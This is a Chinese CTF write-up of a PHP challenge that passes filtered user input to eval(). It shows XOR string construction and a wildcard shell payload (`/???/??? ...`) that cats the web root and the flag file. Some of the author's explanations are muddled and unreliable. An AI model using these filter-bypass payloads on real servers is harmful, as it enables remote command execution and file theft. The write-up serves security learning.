由于是昨天的题目,今天链接已经无法点开了,所以通过其他大神的地方把题扣了过来
web1:
代码如下:
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
分析其代码意思就是,输入code值,code值长度不允许超过35,且过滤掉了一些字符,但也要通过其他方法构造成正常的输入
hini提示,通过调用getFlag来获取flag值
上网搜了一下,这里采用了php动态函数调用的方法
起初查了网上资料,利用的是php异或方法构造成GET
http://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html:这里介绍一下如何通过异或构造字符串。
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
?>
所以 ${$__}[!$_](${$__}[$_]); //$_POST[0]($_POST[1]);
所以起初我用
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
来构造code值,这里介绍一下构造方法,` 代表的是执行命令,?指与之前相匹配,所以构造出来的就是
code=$_=GET;
GET[_]($_GET[_]);
&_=getFlag
这里的&_代表的是指针,
根据前面构造来看,$_已经成为_GET.
所以通过GET来调用getFlag函数
原本以为高高兴兴,看到了资料能得到flag,但是爆出long,后来查看了一下,字符长度早就超过了35
而且其实过滤掉了$,所以这方法行不通。
然后我又没招了,没办法,上网继续搜,https://www.anquanke.com/post/id/154284
这里介绍到了通配符,因为 web服务器基本上都是在linux下的,所以
通过构造code=?><?=`/???/??? /???/???/????/*`;?>
相当于前面的?>闭合掉前面的<?php ,后面再通过/bin/cat /var/www/html/*来匹配所有
得到了网页源码
然后再通过构造code=?><?=`/???/??? /????`;?>
运行代码相当于/var/www/flag 得到flag
*********************************
整道题做完了,虽然是看着大佬写出来的
但还是有几个小疑问
1.何时才能利用构造code来读取服务器后台文件(不可能每次都可以,应该是有什么限制条件)
2.代码中的GET把code取进来,是如何把我构造的payload实现的。
还请希望大佬帮我解决疑问。